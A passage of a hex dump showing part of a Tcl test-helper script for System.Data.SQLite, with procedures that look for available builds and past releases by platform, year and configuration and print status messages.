20 y... #.. cc00: 20 20 20 66 6f 72 65 61 63 68 20 6e 61 74 69 76 foreach nativ cc10: 65 20 5b 6c 69 73 74 20 66 61 6c 73 65 20 74 72 e [list false tr cc20: 75 65 5d 20 7b 0d 0a 20 20 20 20 20 20 20 20 66 ue] {.. f cc30: 6f 72 65 61 63 68 20 79 65 61 72 20 5b 67 65 74 oreach year [get cc40: 42 75 69 6c 64 59 65 61 72 73 5d 20 7b 0d 0a 20 BuildYears] {.. cc50: 20 20 20 20 20 20 20 20 20 66 6f 72 65 61 63 68 foreach cc60: 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 5b configuration [ cc70: 67 65 74 42 75 69 6c 64 43 6f 6e 66 69 67 75 72 getBuildConfigur cc80: 61 74 69 6f 6e 73 5d 20 7b 0d 0a 20 20 20 20 20 ations] {.. cc90: 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 #.. cca0: 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 46 69 # NOTE: Fi ccb0: 67 75 72 65 20 6f 75 74 20 74 68 65 20 65 66 66 gure out the eff ccc0: 65 63 74 69 76 65 20 62 75 69 6c 64 20 70 6c 61 ective build pla ccd0: 74 66 6f 72 6d 2e 20 20 54 68 69 73 20 69 73 0d tform. This is. cce0: 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 20 20 . # ccf0: 20 20 20 20 20 62 61 73 65 64 20 6f 6e 20 77 68 based on wh cd00: 65 74 68 65 72 20 6f 72 20 6e 6f 74 20 61 20 5b ether or not a [ cd10: 70 72 69 6d 61 72 69 6c 79 5d 20 6e 61 74 69 76 primarily] nativ cd20: 65 20 62 75 69 6c 64 0d 0a 20 20 20 20 20 20 20 e build.. cd30: 20 20 20 20 20 23 20 20 20 20 20 20 20 69 73 20 # is cd40: 62 65 69 6e 67 20 75 73 65 64 2e 20 20 46 6f 72 being used. For cd50: 20 5b 70 72 69 6d 61 72 69 6c 79 5d 20 6e 6f 6e [primarily] non cd60: 2d 6e 61 74 69 76 65 20 62 75 69 6c 64 73 2c 0d -native builds,. cd70: 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 20 20 . # cd80: 20 20 20 20 20 74 68 69 73 20 77 69 6c 6c 20 62 this will b cd90: 65 20 61 6e 20 65 6d 70 74 79 20 73 74 72 69 6e e an empty strin cda0: 67 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 g... cdb0: 23 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 #.. s cdc0: 65 74 20 70 6c 61 74 66 6f 72 6d 20 5b 67 65 74 et platform [get cdd0: 42 75 69 6c 64 50 6c 61 74 66 6f 72 6d 20 24 6e BuildPlatform$n cde0: 61 74 69 76 65 5d 0d 0a 0d 0a 20 20 20 20 20 20 ative].... cdf0: 20 20 20 20 20 20 74 70 75 74 73 20 24 63 68 61 tputs $cha ce00: 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 nnel [appendArgs ce10: 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. ce20: 20 20 20 20 22 2d 2d 2d 2d 20 63 68 65 63 6b 69 "---- checki ce30: 6e 67 20 66 6f 72 20 53 79 73 74 65 6d 2e 44 61 ng for System.Da ce40: 74 61 2e 53 51 4c 69 74 65 20 62 75 69 6c 64 20 ta.SQLite build ce50: 5c 22 22 20 5b 65 78 70 72 20 5c 0d 0a 20 20 20 \"" [expr \.. ce60: 20 20 20 20 20 20 20 20 20 20 20 20 20 7b 24 6e {$n ce70: 61 74 69 76 65 20 3f 20 22 6e 61 74 69 76 65 2f ative ? "native/ ce80: 22 20 3a 20 22 22 7d 5d 20 5b 65 78 70 72 20 7b " : ""}] [expr { ce90: 5b 73 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 5c [string length \ cea0: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. ceb0: 20 20 24 70 6c 61 74 66 6f 72 6d 5d 20 3e 20 30 $platform] > 0 cec0: 20 3f 20 5b 61 70 70 65 6e 64 41 72 67 73 20 24 ? [appendArgs$ ced0: 70 6c 61 74 66 6f 72 6d 20 2f 5d 20 3a 20 22 22 platform /] : "" cee0: 7d 5d 20 24 79 65 61 72 20 5c 0d 0a 20 20 20 20 }] $year \.. cef0: 20 20 20 20 20 20 20 20 20 20 20 20 2f 20 24 63 /$c cf00: 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 22 5c 22 onfiguration "\" cf10: 2e 2e 2e 20 22 5d 0d 0a 0d 0a 20 20 20 20 20 20 ... "].... cf20: 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 #.. cf30: 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 42 75 69 # NOTE: Bui cf40: 6c 64 20 74 68 65 20 66 75 6c 6c 79 20 71 75 61 ld the fully qua cf50: 6c 69 66 69 65 64 20 64 69 72 65 63 74 6f 72 79 lified directory cf60: 20 77 68 65 72 65 20 74 68 65 20 6e 65 63 65 73 where the neces cf70: 73 61 72 79 0d 0a 20 20 20 20 20 20 20 20 20 20 sary.. cf80: 20 20 23 20 20 20 20 20 20 20 63 6f 6d 70 6f 6e # compon cf90: 65 6e 74 73 20 66 6f 72 20 53 79 73 74 65 6d 2e ents for System. cfa0: 44 61 74 61 2e 53 51 4c 69 74 65 20 73 68 6f 75 Data.SQLite shou cfb0: 6c 64 20 62 65 20 66 6f 75 6e 64 2e 0d 0a 20 20 ld be found... cfc0: 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 #.. cfd0: 20 20 20 20 20 20 20 20 20 73 65 74 20 64 69 72 set dir cfe0: 65 63 74 6f 72 79 20 5b 6a 6f 69 6e 42 75 69 6c ectory [joinBuil cff0: 64 44 69 72 65 63 74 6f 72 79 20 24 6e 61 74 69 dDirectory $nati d000: 76 65 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 ve \.. d010: 20 20 20 20 20 20 5b 67 65 74 42 75 69 6c 64 42 [getBuildB d020: 61 73 65 44 69 72 65 63 74 6f 72 79 5d 20 24 79 aseDirectory]$y d030: 65 61 72 20 24 70 6c 61 74 66 6f 72 6d 20 24 63 ear $platform$c d040: 6f 6e 66 69 67 75 72 61 74 69 6f 6e 5d 0d 0a 0d onfiguration]... d050: 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 0d 0a . #.. d060: 20 20 20 20 20 20 20 20 20 20 20 20 23 20 4e 4f # NO d070: 54 45 3a 20 44 6f 20 74 68 65 20 6e 65 63 65 73 TE: Do the neces d080: 73 61 72 79 20 66 69 6c 65 73 20 65 78 69 73 74 sary files exist d090: 3f 20 20 43 75 72 72 65 6e 74 6c 79 2c 20 6e 6f ? Currently, no d0a0: 20 6f 74 68 65 72 20 73 74 65 70 73 0d 0a 20 20 other steps.. d0b0: 20 20 20 20 20 20 20 20 20 20 23 20 20 20 20 20 # d0c0: 20 20 61 72 65 20 74 61 6b 65 6e 20 74 6f 20 76 are taken to v d0d0: 65 72 69 66 79 20 74 68 69 73 20 62 75 69 6c 64 erify this build d0e0: 20 69 73 20 61 63 74 75 61 6c 6c 79 20 76 69 61 is actually via d0f0: 62 6c 65 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 ble... d100: 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 20 #.. d110: 20 69 66 20 7b 5b 69 73 42 75 69 6c 64 41 76 61 if {[isBuildAva d120: 69 6c 61 62 6c 65 20 24 6e 61 74 69 76 65 20 24 ilable $native$ d130: 64 69 72 65 63 74 6f 72 79 5d 7d 20 74 68 65 6e directory]} then d140: 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 {.. d150: 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 20 #.. d160: 20 20 20 23 20 4e 4f 54 45 3a 20 57 68 65 6e 20 # NOTE: When d170: 69 6e 20 22 73 65 6c 65 63 74 22 20 6d 6f 64 65 in "select" mode d180: 2c 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 , automatically d190: 73 65 6c 65 63 74 20 74 68 65 20 66 69 72 73 74 select the first d1a0: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. d1b0: 23 20 20 20 20 20 20 20 61 76 61 69 6c 61 62 6c # availabl d1c0: 65 20 62 75 69 6c 64 20 6f 66 20 53 79 73 74 65 e build of Syste d1d0: 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 20 61 6e m.Data.SQLite an d1e0: 64 20 74 68 65 6e 20 72 65 74 75 72 6e 0d 0a 20 d then return.. d1f0: 20 20 20 20 20 20 20 20 20 20 20 20 20 23 20 20 # d200: 20 20 20 20 20 69 6d 6d 65 64 69 61 74 65 6c 79 immediately d210: 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 ... d220: 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 #.. d230: 20 20 69 66 20 7b 24 73 65 6c 65 63 74 20 26 26 if {$select && d240: 20 5b 6d 61 74 63 68 50 6c 61 74 66 6f 72 6d 20 [matchPlatform d250: 24 70 6c 61 74 66 6f 72 6d 5d 7d 20 74 68 65 6e$platform]} then d260: 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 {.. d270: 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 #.. d280: 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 4d # NOTE: M d290: 61 6e 75 61 6c 6c 79 20 6f 76 65 72 72 69 64 65 anually override d2a0: 20 61 6c 6c 20 74 68 65 20 62 75 69 6c 64 20 64 all the build d d2b0: 69 72 65 63 74 6f 72 79 20 73 65 6c 65 63 74 69 irectory selecti d2c0: 6f 6e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 on.. d2d0: 20 20 20 20 23 20 20 20 20 20 20 20 72 65 6c 61 # rela d2e0: 74 65 64 20 74 65 73 74 20 73 65 74 74 69 6e 67 ted test setting d2f0: 73 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 66 6f s in order to fo d300: 72 63 65 20 74 68 69 73 20 62 75 69 6c 64 0d 0a rce this build.. d310: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 d320: 23 20 20 20 20 20 20 20 6f 66 20 53 79 73 74 65 # of Syste d330: 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 20 74 6f m.Data.SQLite to d340: 20 62 65 20 75 73 65 64 2e 0d 0a 20 20 20 20 20 be used... d350: 20 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 #.. d360: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 if d370: 20 7b 21 5b 63 68 61 6e 67 65 4e 61 74 69 76 65 {![changeNative d380: 52 75 6e 74 69 6d 65 4f 70 74 69 6f 6e 20 24 6e RuntimeOption $n d390: 61 74 69 76 65 5d 7d 20 74 68 65 6e 20 7b 0d 0a ative]} then {.. d3a0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 d3b0: 20 20 74 70 75 74 73 20 24 63 68 61 6e 6e 65 6c tputs$channel d3c0: 20 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 0d 0a [appendArgs \.. d3d0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 d3e0: 20 20 20 20 20 20 22 6e 6f 2c 20 66 61 69 6c 65 "no, faile d3f0: 64 20 74 6f 20 22 20 5b 65 78 70 72 20 7b 24 6e d to " [expr {$n d400: 61 74 69 76 65 20 3f 20 22 61 64 64 22 20 3a 20 ative ? "add" : d410: 22 72 65 6d 6f 76 65 22 7d 5d 20 5c 0d 0a 20 20 "remove"}] \.. d420: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 d430: 20 20 20 20 22 20 74 68 65 20 5c 22 6e 61 74 69 " the \"nati d440: 76 65 5c 22 20 72 75 6e 74 69 6d 65 20 6f 70 74 ve\" runtime opt d450: 69 6f 6e 5c 6e 22 5d 0d 0a 0d 0a 20 20 20 20 20 ion\n"].... d460: 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 ret d470: 75 72 6e 20 66 61 6c 73 65 0d 0a 20 20 20 20 20 urn false.. d480: 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a }.... d490: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 d4a0: 73 65 74 20 3a 3a 74 65 73 74 5f 79 65 61 72 20 set ::test_year d4b0: 24 79 65 61 72 0d 0a 20 20 20 20 20 20 20 20 20$year.. d4c0: 20 20 20 20 20 20 20 73 65 74 20 3a 3a 74 65 73 set ::tes d4d0: 74 5f 70 6c 61 74 66 6f 72 6d 20 24 70 6c 61 74 t_platform $plat d4e0: 66 6f 72 6d 0d 0a 20 20 20 20 20 20 20 20 20 20 form.. d4f0: 20 20 20 20 20 20 73 65 74 20 3a 3a 74 65 73 74 set ::test d500: 5f 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 24 _configuration$ d510: 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 0d 0a 0d configuration... d520: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . d530: 20 74 70 75 74 73 20 24 63 68 61 6e 6e 65 6c 20 tputs $channel d540: 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 0d 0a 20 [appendArgs \.. d550: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 d560: 20 20 20 22 79 65 73 2c 20 73 65 6c 65 63 74 65 "yes, selecte d570: 64 20 28 22 20 5b 65 78 70 72 20 7b 24 6e 61 74 d (" [expr {$nat d580: 69 76 65 20 3f 20 22 6e 61 74 69 76 65 2f 22 20 ive ? "native/" d590: 3a 20 22 22 7d 5d 20 5c 0d 0a 20 20 20 20 20 20 : ""}] \.. d5a0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5b 65 [e d5b0: 78 70 72 20 7b 5b 73 74 72 69 6e 67 20 6c 65 6e xpr {[string len d5c0: 67 74 68 20 24 70 6c 61 74 66 6f 72 6d 5d 20 3e gth $platform] > d5d0: 20 30 20 3f 20 5b 61 70 70 65 6e 64 41 72 67 73 0 ? [appendArgs d5e0: 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. d5f0: 20 20 20 20 20 20 20 20 24 70 6c 61 74 66 6f 72$platfor d600: 6d 20 2f 5d 20 3a 20 22 22 7d 5d 20 24 79 65 61 m /] : ""}] $yea d610: 72 20 2f 20 24 63 6f 6e 66 69 67 75 72 61 74 69 r /$configurati d620: 6f 6e 20 22 29 5c 6e 22 5d 0d 0a 0d 0a 20 20 20 on ")\n"].... d630: 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 ret d640: 75 72 6e 20 74 72 75 65 0d 0a 20 20 20 20 20 20 urn true.. d650: 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b } else { d660: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. d670: 20 20 74 70 75 74 73 20 24 63 68 61 6e 6e 65 6c tputs $channel d680: 20 79 65 73 5c 6e 0d 0a 20 20 20 20 20 20 20 20 yes\n.. d690: 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 }.. d6a0: 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 } else {.. d6b0: 20 20 20 20 20 20 20 20 20 20 20 20 20 74 70 75 tpu d6c0: 74 73 20 24 63 68 61 6e 6e 65 6c 20 6e 6f 5c 6e ts$channel no\n d6d0: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d .. }. d6e0: 0a 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 . }.. d6f0: 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 7d }.. } d700: 0d 0a 0d 0a 20 20 20 20 20 20 72 65 74 75 72 6e .... return d710: 20 66 61 6c 73 65 0d 0a 20 20 20 20 7d 0d 0a 0c false.. }... d720: 0d 0a 20 20 20 20 70 72 6f 63 20 63 68 65 63 6b .. proc check d730: 46 6f 72 53 51 4c 69 74 65 52 65 6c 65 61 73 65 ForSQLiteRelease d740: 73 20 7b 20 63 68 61 6e 6e 65 6c 20 7b 73 65 6c s { channel {sel d750: 65 63 74 20 66 61 6c 73 65 7d 20 7d 20 7b 0d 0a ect false} } {.. d760: 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 #.. # d770: 20 4e 4f 54 45 3a 20 43 68 65 63 6b 20 66 6f 72 NOTE: Check for d780: 20 70 61 73 74 20 72 65 6c 65 61 73 65 73 20 6f past releases o d790: 66 20 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 f System.Data.SQ d7a0: 4c 69 74 65 20 69 6e 20 74 68 65 20 64 69 72 65 Lite in the dire d7b0: 63 74 6f 72 79 0d 0a 20 20 20 20 20 20 23 20 20 ctory.. # d7c0: 20 20 20 20 20 63 6f 6e 74 61 69 6e 65 64 20 69 contained i d7d0: 6e 20 74 68 65 20 22 53 79 73 74 65 6d 2e 44 61 n the "System.Da d7e0: 74 61 2e 53 51 4c 69 74 65 22 20 65 6e 76 69 72 ta.SQLite" envir d7f0: 6f 6e 6d 65 6e 74 20 76 61 72 69 61 62 6c 65 2c onment variable, d800: 20 69 66 0d 0a 20 20 20 20 20 20 23 20 20 20 20 if.. # d810: 20 20 20 70 72 65 73 65 6e 74 2e 0d 0a 20 20 20 present... d820: 20 20 20 23 0d 0a 20 20 20 20 20 20 69 66 20 7b #.. if { d830: 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a 65 [info exists ::e d840: 6e 76 28 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 nv(System.Data.S d850: 51 4c 69 74 65 29 5d 20 26 26 20 5c 0d 0a 20 20 QLite)] && \.. d860: 20 20 20 20 20 20 20 20 5b 73 74 72 69 6e 67 20 [string d870: 6c 65 6e 67 74 68 20 24 3a 3a 65 6e 76 28 53 79 length $::env(Sy d880: 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 stem.Data.SQLite d890: 29 5d 20 3e 20 30 7d 20 74 68 65 6e 20 7b 0d 0a )] > 0} then {.. d8a0: 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. d8b0: 20 20 20 23 20 4e 4f 54 45 3a 20 42 75 69 6c 64 # NOTE: Build d8c0: 20 74 68 65 20 66 75 6c 6c 79 20 71 75 61 6c 69 the fully quali d8d0: 66 69 65 64 20 64 69 72 65 63 74 6f 72 79 20 77 fied directory w d8e0: 68 65 72 65 20 74 68 65 20 6e 65 63 65 73 73 61 here the necessa d8f0: 72 79 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 ry.. # d900: 20 20 20 20 63 6f 6d 70 6f 6e 65 6e 74 73 20 66 components f d910: 6f 72 20 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 or System.Data.S d920: 51 4c 69 74 65 20 73 68 6f 75 6c 64 20 62 65 20 QLite should be d930: 66 6f 75 6e 64 2e 0d 0a 20 20 20 20 20 20 20 20 found... d940: 23 0d 0a 20 20 20 20 20 20 20 20 73 65 74 20 64 #.. set d d950: 69 72 65 63 74 6f 72 79 20 5b 66 69 6c 65 20 6e irectory [file n d960: 61 74 69 76 65 6e 61 6d 65 20 5b 66 69 6c 65 20 ativename [file d970: 6a 6f 69 6e 20 5c 0d 0a 20 20 20 20 20 20 20 20 join \.. d980: 20 20 20 20 24 3a 3a 65 6e 76 28 53 79 73 74 65$::env(Syste d990: 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 29 20 5b m.Data.SQLite) [ d9a0: 67 65 74 52 65 6c 65 61 73 65 56 65 72 73 69 6f getReleaseVersio d9b0: 6e 5d 5d 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 n]]].... d9c0: 74 70 75 74 73 20 24 63 68 61 6e 6e 65 6c 20 5b tputs $channel [ d9d0: 61 70 70 65 6e 64 41 72 67 73 20 5c 0d 0a 20 20 appendArgs \.. d9e0: 20 20 20 20 20 20 20 20 20 20 22 2d 2d 2d 2d 20 "---- d9f0: 63 68 65 63 6b 69 6e 67 20 66 6f 72 20 53 79 73 checking for Sys da00: 74 65 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 20 tem.Data.SQLite da10: 72 65 6c 65 61 73 65 20 5c 22 22 20 5c 0d 0a 20 release \"" \.. da20: 20 20 20 20 20 20 20 20 20 20 20 24 64 69 72 65$dire da30: 63 74 6f 72 79 20 22 5c 22 2e 2e 2e 20 22 5d 0d ctory "\"... "]. da40: 0a 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b 5b ... if {[ da50: 69 73 52 65 6c 65 61 73 65 41 76 61 69 6c 61 62 isReleaseAvailab da60: 6c 65 20 24 64 69 72 65 63 74 6f 72 79 20 70 6c le $directory pl da70: 61 74 66 6f 72 6d 5d 7d 20 74 68 65 6e 20 7b 0d atform]} then {. da80: 0a 20 20 20 20 20 20 20 20 20 20 69 66 20 7b 5b . if {[ da90: 73 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 70 string length$p daa0: 6c 61 74 66 6f 72 6d 5d 20 3d 3d 20 30 7d 20 74 latform] == 0} t dab0: 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 hen {.. dac0: 20 20 20 73 65 74 20 70 6c 61 74 66 6f 72 6d 20 set platform dad0: 75 6e 6b 6e 6f 77 6e 0d 0a 20 20 20 20 20 20 20 unknown.. dae0: 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 }.... daf0: 20 20 69 66 20 7b 24 73 65 6c 65 63 74 20 26 26 if {$select && db00: 20 5b 6d 61 74 63 68 50 6c 61 74 66 6f 72 6d 20 [matchPlatform db10: 24 70 6c 61 74 66 6f 72 6d 5d 7d 20 74 68 65 6e$platform]} then db20: 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 {.. db30: 73 65 74 20 3a 3a 62 75 69 6c 64 5f 64 69 72 65 set ::build_dire db40: 63 74 6f 72 79 20 24 64 69 72 65 63 74 6f 72 79 ctory $directory db50: 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 .... db60: 74 70 75 74 73 20 24 63 68 61 6e 6e 65 6c 20 5b tputs$channel [ db70: 61 70 70 65 6e 64 41 72 67 73 20 22 79 65 73 2c appendArgs "yes, db80: 20 73 65 6c 65 63 74 65 64 20 28 22 20 24 70 6c selected (" $pl db90: 61 74 66 6f 72 6d 20 22 29 5c 6e 22 5d 0d 0a 0d atform ")\n"]... dba0: 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 . ret dbb0: 75 72 6e 20 74 72 75 65 0d 0a 20 20 20 20 20 20 urn true.. dbc0: 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 } else {.. dbd0: 20 20 20 20 20 20 20 20 20 20 74 70 75 74 73 20 tputs dbe0: 24 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64$channel [append dbf0: 41 72 67 73 20 22 79 65 73 20 28 22 20 24 70 6c Args "yes (" $pl dc00: 61 74 66 6f 72 6d 20 22 29 5c 6e 22 5d 0d 0a 20 atform ")\n"].. dc10: 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 }.. dc20: 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 } else {.. dc30: 20 20 20 20 20 20 20 20 74 70 75 74 73 20 24 63 tputs$c dc40: 68 61 6e 6e 65 6c 20 6e 6f 5c 6e 0d 0a 0d 0a 20 hannel no\n.... dc50: 20 20 20 20 20 20 20 20 20 66 6f 72 65 61 63 68 foreach dc60: 20 70 61 74 68 20 5b 6c 73 6f 72 74 20 2d 64 65 path [lsort -de dc70: 63 72 65 61 73 69 6e 67 20 5b 66 69 6c 65 20 6c creasing [file l dc80: 69 73 74 20 24 64 69 72 65 63 74 6f 72 79 20 2a ist $directory * dc90: 5d 5d 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 ]] {.. dca0: 20 20 69 66 20 7b 5b 66 69 6c 65 20 65 78 69 73 if {[file exis dcb0: 74 73 20 24 70 61 74 68 5d 20 26 26 20 5b 66 69 ts$path] && [fi dcc0: 6c 65 20 69 73 64 69 72 65 63 74 6f 72 79 20 24 le isdirectory $dcd0: 70 61 74 68 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 path]} then {.. dce0: 20 20 20 20 20 20 20 20 20 20 20 20 20 74 70 75 tpu dcf0: 74 73 20 24 63 68 61 6e 6e 65 6c 20 5b 61 70 70 ts$channel [app dd00: 65 6e 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 endArgs \.. dd10: 20 20 20 20 20 20 20 20 20 20 20 20 20 22 2d 2d "-- dd20: 2d 2d 20 63 68 65 63 6b 69 6e 67 20 66 6f 72 20 -- checking for dd30: 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c 69 System.Data.SQLi dd40: 74 65 20 72 65 6c 65 61 73 65 20 5c 22 22 20 5c te release \"" \ dd50: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. dd60: 20 20 20 20 24 70 61 74 68 20 22 5c 22 2e 2e 2e $path "\"... dd70: 20 22 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 "].... dd80: 20 20 20 20 20 69 66 20 7b 5b 69 73 52 65 6c 65 if {[isRele dd90: 61 73 65 41 76 61 69 6c 61 62 6c 65 20 24 70 61 aseAvailable$pa dda0: 74 68 20 70 6c 61 74 66 6f 72 6d 5d 7d 20 74 68 th platform]} th ddb0: 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 en {.. ddc0: 20 20 20 20 20 20 69 66 20 7b 5b 73 74 72 69 6e if {[strin ddd0: 67 20 6c 65 6e 67 74 68 20 24 70 6c 61 74 66 6f g length $platfo dde0: 72 6d 5d 20 3d 3d 20 30 7d 20 74 68 65 6e 20 7b rm] == 0} then { ddf0: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. de00: 20 20 20 20 73 65 74 20 70 6c 61 74 66 6f 72 6d set platform de10: 20 75 6e 6b 6e 6f 77 6e 0d 0a 20 20 20 20 20 20 unknown.. de20: 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 }.... de30: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 i de40: 66 20 7b 24 73 65 6c 65 63 74 20 26 26 20 5b 6d f {$select && [m de50: 61 74 63 68 50 6c 61 74 66 6f 72 6d 20 24 70 6c atchPlatform $pl de60: 61 74 66 6f 72 6d 5d 7d 20 74 68 65 6e 20 7b 0d atform]} then {. de70: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . de80: 20 20 20 73 65 74 20 3a 3a 62 75 69 6c 64 5f 64 set ::build_d de90: 69 72 65 63 74 6f 72 79 20 24 70 61 74 68 0d 0a irectory$path.. dea0: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. deb0: 20 20 20 20 74 70 75 74 73 20 24 63 68 61 6e 6e tputs $chann dec0: 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 22 el [appendArgs " ded0: 79 65 73 2c 20 73 65 6c 65 63 74 65 64 20 28 22 yes, selected (" dee0: 20 24 70 6c 61 74 66 6f 72 6d 20 22 29 5c 6e 22$platform ")\n" def0: 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 ].... df00: 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 74 72 return tr df10: 75 65 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 ue.. df20: 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 } else {.. df30: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 df40: 74 70 75 74 73 20 24 63 68 61 6e 6e 65 6c 20 5b tputs $channel [ df50: 61 70 70 65 6e 64 41 72 67 73 20 22 79 65 73 20 appendArgs "yes df60: 28 22 20 24 70 6c 61 74 66 6f 72 6d 20 22 29 5c ("$platform ")\ df70: 6e 22 5d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 n"].. df80: 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 }.. df90: 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a } else {.. dfa0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 dfb0: 74 70 75 74 73 20 24 63 68 61 6e 6e 65 6c 20 6e tputs $channel n dfc0: 6f 5c 6e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 o\n.. dfd0: 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 }.. dfe0: 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 7d }.. } dff0: 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 .. }.. e000: 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 } else {.. e010: 20 20 20 20 20 74 70 75 74 73 20 24 63 68 61 6e tputs$chan e020: 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 nel [appendArgs e030: 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 \.. " e040: 2d 2d 2d 2d 20 65 6e 76 69 72 6f 6e 6d 65 6e 74 ---- environment e050: 20 76 61 72 69 61 62 6c 65 20 5c 22 53 79 73 74 variable \"Syst e060: 65 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 5c 22 em.Data.SQLite\" e070: 20 69 73 20 6e 6f 74 20 22 20 5c 0d 0a 20 20 20 is not " \.. e080: 20 20 20 20 20 20 20 20 20 22 73 65 74 2c 20 73 "set, s e090: 6b 69 70 70 69 6e 67 20 63 68 65 63 6b 20 66 